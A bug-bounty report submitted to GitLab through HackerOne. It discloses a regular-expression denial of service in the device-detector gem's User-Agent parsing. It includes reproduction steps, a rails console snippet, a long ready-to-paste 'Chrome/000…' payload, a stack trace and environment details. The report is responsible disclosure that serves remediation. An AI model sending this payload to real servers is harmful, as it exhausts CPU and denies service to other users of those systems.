ReDoS due to device-detector parsing user agents
HackerOne report #1772063 by afewgoats
on 2022-11-13, assigned to Ottilia Westerlund
:
Report
Summary
The device-detector ruby gem is used by Gitlab for parsing the User-Agent header into a device_name
after logging in.
The gem uses a large list of regular expressions taken from the upstream matomo-org/device-detector to process the header, several of which are vulnerable to Regular Expression Denial of Service (ReDoS) with cubic worst-case complexity.
One such regular expression containing the vulnerable fragment (\d+[\.\d]+).*
is Chrome/(\d+[\.\d]+).*MRCHROME
.
The \d+
, [\.\d]+
and .*
groups overlap and all match digits 0-9. As long as the malicious header starts with Chrome/
and does not end in MRCHROME
there will be cubic-complexity backtracking and ReDoS with a very long string of digits e.g. Chrome/000000000001230...
.
The CPU runs at 100% processing the regex until killed by the 60s timeout. Multiple simultaneous requests would overwhelm the server.
Steps to reproduce
-
Set user agent to
"Chrome/" + "0" * 3456
using dev tools or Burp -
Sign in to Gitlab (must successfully sign in). The response to
POST /users/sign_in
will add cookieknown_sign_in
. -
Any further requests to Gitlab will cause CPU exhaustion and then timeout after 60s with a 500 error when trying to match the
known_sign_in
and_gitlab_session
cookies.
Doubling the number of digits in the malicious string makes the processing take about 8 times as long (ignoring the timeout).
Impact
Denial of Service - one request causes high CPU usage for 60 seconds. Attackers must have valid credentials.
Examples
To try just the vulnerable module in gitlab-rails console
:
> dd = DeviceDetector.new ("Chrome/" + "0" * 3456)
> dd.name
...
What is the current bug behavior?
Certain logged-in requests timeout after 60 seconds of high CPU due to ReDoS.
What is the expected correct behavior?
Malicious User-Agent strings should not cause DoS.
Relevant logs and/or screenshots
User-agent to copy paste:
Chrome/000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Stack trace:
Rack::Timeout::RequestTimeoutException (Request ran for longer than 60000ms ):
app/models/active_session.rb:76:in `block in set'
lib/gitlab/redis/wrapper.rb:23:in `block in with'
lib/gitlab/redis/wrapper.rb:23:in `with'
app/models/active_session.rb:68:in `set'
config/initializers/warden.rb:28:in `block (2 levels) in <top (required)>'
lib/gitlab/database/load_balancing/rack_middleware.rb:68:in `sticking_namespaces'
lib/gitlab/database/load_balancing/rack_middleware.rb:39:in `unstick_or_continue_sticking'
lib/gitlab/database/load_balancing/rack_middleware.rb:21:in `call'
lib/gitlab/middleware/rails_queue_duration.rb:33:in `call'
lib/gitlab/metrics/rack_middleware.rb:16:in `block in call'
lib/gitlab/metrics/web_transaction.rb:46:in `run'
lib/gitlab/metrics/rack_middleware.rb:16:in `call'
lib/gitlab/jira/middleware.rb:19:in `call'
lib/gitlab/middleware/go.rb:20:in `call'
lib/gitlab/etag_caching/middleware.rb:21:in `call'
lib/gitlab/middleware/query_analyzer.rb:11:in `block in call'
lib/gitlab/database/query_analyzer.rb:37:in `within'
lib/gitlab/middleware/query_analyzer.rb:11:in `call'
lib/gitlab/middleware/multipart.rb:173:in `call'
lib/gitlab/middleware/read_only/controller.rb:50:in `call'
lib/gitlab/middleware/read_only.rb:18:in `call'
lib/gitlab/middleware/same_site_cookies.rb:27:in `call'
lib/gitlab/middleware/handle_malformed_strings.rb:21:in `call'
lib/gitlab/middleware/basic_health_check.rb:25:in `call'
lib/gitlab/middleware/handle_ip_spoof_attack_error.rb:25:in `call'
lib/gitlab/middleware/request_context.rb:21:in `call'
lib/gitlab/middleware/webhook_recursion_detection.rb:15:in `call'
config/initializers/fix_local_cache_middleware.rb:11:in `call'
lib/gitlab/middleware/compressed_json.rb:26:in `call'
lib/gitlab/middleware/rack_multipart_tempfile_factory.rb:19:in `call'
lib/gitlab/middleware/sidekiq_web_static.rb:20:in `call'
lib/gitlab/metrics/requests_rack_middleware.rb:77:in `call'
lib/gitlab/middleware/release_env.rb:13:in `call'
Results of GitLab environment info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.6
Bundler Version:2.3.15
Rake Version: 13.0.6
Redis Version: 6.2.7
Sidekiq Version:6.4.2
Go Version: unknown
GitLab information
Version: 15.5.3-ee
Revision: 48f51d8b0c3
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.6
URL: https://gitlab.example.com
HTTP Clone URL: https://gitlab.example.com/some-group/some-project.git
SSH Clone URL: git@gitlab.example.com:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.12.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
Denial of Service - one request causes high CPU usage for 60 seconds. Attackers must have valid credentials.
Not the worst issue, but I see in hacktivity you have recently awarded DoS reports with the same impact so I'm hoping this report is accepted as well.
How To Reproduce
Please add reproducibility information to this section: